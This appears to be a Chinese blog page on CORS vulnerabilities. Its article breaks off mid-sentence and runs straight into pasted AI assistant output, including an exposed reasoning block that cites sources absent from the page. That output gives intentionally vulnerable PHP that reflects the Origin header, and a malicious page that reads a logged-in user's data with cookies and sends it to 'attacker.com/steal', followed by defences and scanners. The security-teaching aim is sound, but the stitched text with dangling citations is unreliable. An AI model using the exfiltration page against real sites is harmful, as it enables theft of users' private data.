CORS漏洞原理分析

本文详细介绍了CORS跨域资源共享的原理,分析了CORS漏洞的成因,展示了攻击流程,并提供了相应的防御措施。重点讨论了CORS与SOP的区别,以及如何通过正确配置CORS头部字段防止信息泄露。

CORS跨域漏洞原理分析

CORS全称为Cross-Origin Resource Sharing即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。而CORS漏洞则是利用CORS技术窃取用户敏感数据。以往与CORS漏洞类似的JSONP劫持虽然已经出现了很多年,但由于部分厂商对此不够重视导致其仍在不断发展和扩散。

在这里插入图片描述
美创安全实验室近期监控到全国各地类似于JSONP劫持或CORS漏洞引发的CSRF防御崩溃案例不断增多故在此单独出一篇针对CORS漏洞原理及防御方法的文章,希望看官们好好保护自己的系统免受此种攻击威胁。

0x01 CORS及SOP简介

对CORS的介绍要从浏览器的同源策略开始说起,SOP全称为Same Origin Policy即同源策略,该策略是浏览器的一个安全基石,同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。简单来说同源策略就是浏览器会阻止一个源与另一个源的资源交互。可以试想一下,如果没有同源策略,当你访问一个正常网站的时候又无意间打开了另一个恶意网站,恶意网站会从你刚刚访问的正常网站上窃取你全部的信息。

SOP是一个很好的策略,在SOP被提出的时期,大家都默默地遵守着这个规定,但随着WEB应用的发展,有些网站由于自身业务的需求,需要实现一些跨域的功能能够让不同域的页面之间能够相互访问各自页面的内容。为了实现这个跨域需求,聪明的程序员想到了一种编码技术JSONP,该技术利用从客户端传入的json格式的返回值,在服务器段调用该接口处事先以定义函数的方式定义好json格式里参数值,并加载script标签调用该函数实现跨域。由此可见JSONP虽然好但他并非是在协议层面解决跨域问题,所以出现了很多安全问题。为了能更安全的进行跨域资源访问,CORS诞生了。

CORS是H5提供的一种机制,WEB应用程序可以通过在HTTP报文中增加特定字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源。

0x02 CORS跨域原理及漏洞成因

浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。只要同时满足以下两个条件就属于简单请求否则属于非简单请求,①请求方法是(HEAD,GET,POST)三种之一;②HTTP的头信息不超出(Accept,Accept-Language,Content-Language,Lat-Event-ID,Content-Type)这几种字段。

对于简单请求,大致流程是浏览器发现这一次向服务器提交的请求是简单请求,所以自动在头信息中增加了一个Origin的字段,用来表示这次的请求来自哪个域。当服务器接收到请求后发现Origin字段指定的域名在许可范围内,服务器会在响应包中增加三个与CORS相关的字段,Access-Control-Allow-Origin、Access-Control-Allow-Credentials、Access-Control-Expose-Headers。其中Access-Control-Allow-Origin字段是必须存在的,它的值可能是Origin字段的值或者是一个通配符“*”,表示可以接受任意域名的请求,当然大部分服务器如果配置了通配符的话,信息

<think>嗯,用户想复现CORS跨域资源共享漏洞进行安全测试或学习。这个问题涉及Web安全领域,需要结合漏洞原理和实操步骤来解答。 用户可能是个安全研究员或渗透测试学习者,从"复现"和"渗透测试"等关键词能看出ta需要实操性指导。之前引用的资料里提到CORS漏洞常由错误配置引起,比如过度宽松的Access-Control-Allow-Origin设置,这点需要重点强调。 参考引用[4]特别指出不能仅凭Access-Control-Allow-Origin:*就判断漏洞存在,说明用户可能对漏洞判断存在误区。应该提醒ta注意凭证携带场景下的差异,比如配置为*时浏览器会拒绝带cookie的请求。 复现环境搭建是关键步骤。考虑分三层说明:后端漏洞配置(PHP/Node.js示例)、恶意页面构造、漏洞验证逻辑。引用[3]提到27.5%的网站存在CORS误配置,可以强调测试时关注Access-Control-Allow-Credentials头的重要性。 最后要补充防御建议,引用[5]提到很多人因图方便直接用默认配置导致漏洞,这点特别值得提醒开发人员。防御部分考虑区分开发人员和安全测试者的不同关注点。 用户可能还会关心如何自动化检测,正好引用[3]提到开源工具,可以推荐CORS-Scanner之类的方案。不过当前问题聚焦复现,工具部分放在最后简要提及即可。 整个思考过程需确保:所有技术术语用中文,数学公式用$包裹,代码块单独标注,相关漏洞原理用行内公式如$HTTP$请求响应过程。最后按系统指令生成三个延伸问题,覆盖漏洞挖掘、修复和实战场景。</think>以下是根据你的需求整理的CORS跨域漏洞复现步骤,结合渗透测试场景: --- ### **CORS漏洞复现步骤** #### **1. 搭建漏洞环境** **后端配置(PHP示例)** ```php <?php // 漏洞点:未校验Origin来源,直接反射请求头中的Origin值 header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); header("Access-Control-Allow-Credentials: true"); // 允许携带凭证 // 模拟敏感数据接口 if(isset($_COOKIE['session'])) { echo json_encode(["user" => "admin", "email" => "admin@example.com"]); } ?> ``` #### **2. 构造恶意页面** ```html <!DOCTYPE html> <html> <body> <script> function exploit() { // 关键步骤:跨域请求目标站点(需诱导用户访问此页面) fetch('http://vuln-site.com/api/sensitive_data', { credentials: 'include' // 携带用户Cookie }) .then(response => response.json()) .then(data => { // 将窃取的数据发送到攻击者服务器 fetch('http://attacker.com/steal?data=' + JSON.stringify(data)); }); } exploit(); </script> </body> </html> ``` #### **3. 漏洞验证流程** - **触发条件**:用户登录`vuln-site.com`后访问恶意页面 - **攻击效果**: - 恶意脚本跨域读取`api/sensitive_data`接口的敏感数据 - 数据被发送至`attacker.com/steal`(攻击者服务器) #### **4. 关键漏洞配置分析** | **错误配置类型** | **风险示例** | |------------------------|---------------------------------------| | 动态反射Origin | `Access-Control-Allow-Origin: evil.com` | | 固定为`*`但需凭证 | `Access-Control-Allow-Origin: *` + `Allow-Credentials: true`[^4] | | 宽松的子域名匹配 | `Access-Control-Allow-Origin: *.example.com`(可被`x.example.evil.com`利用) | --- ### **渗透测试注意事项** 1. **凭证验证** - 仅当响应头包含`Access-Control-Allow-Credentials: true`时,浏览器才会发送Cookie[^2]。 - 若服务端配置`Access-Control-Allow-Origin: *`,浏览器将**拒绝携带凭证**的请求[^4]。 2. **Origin校验漏洞** - 漏洞核心:服务端未验证`Origin`头是否属于合法域名,直接反射回响应头[^5]。 - 测试方法:修改请求中的`Origin`头,观察响应是否动态反射该值。 3. **漏洞利用限制** - 需要诱导已认证用户访问恶意页面(类似CSRF攻击场景)[^2]。 - 敏感接口需存在未授权访问风险(如依赖Cookie认证)。 --- ### **防御方案** 1. **严格校验Origin白名单** ```php $allowed_origins = ["https://trusted.com"]; if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)) { header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); } ``` 2. **避免动态反射Origin** 禁止未经验证的`Origin`值直接返回在响应头中[^3]。 3. **最小化凭证使用** 非必要场景不设置`Access-Control-Allow-Credentials: true`。 --- ### **自动化检测工具** - **CORS-Scanner**:扫描错误配置(如`*`+凭证、子域名通配符滥用)[^3] - **Burp Suite插件**:`CORS Scanner`模块可自动化探测反射型Origin漏洞 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值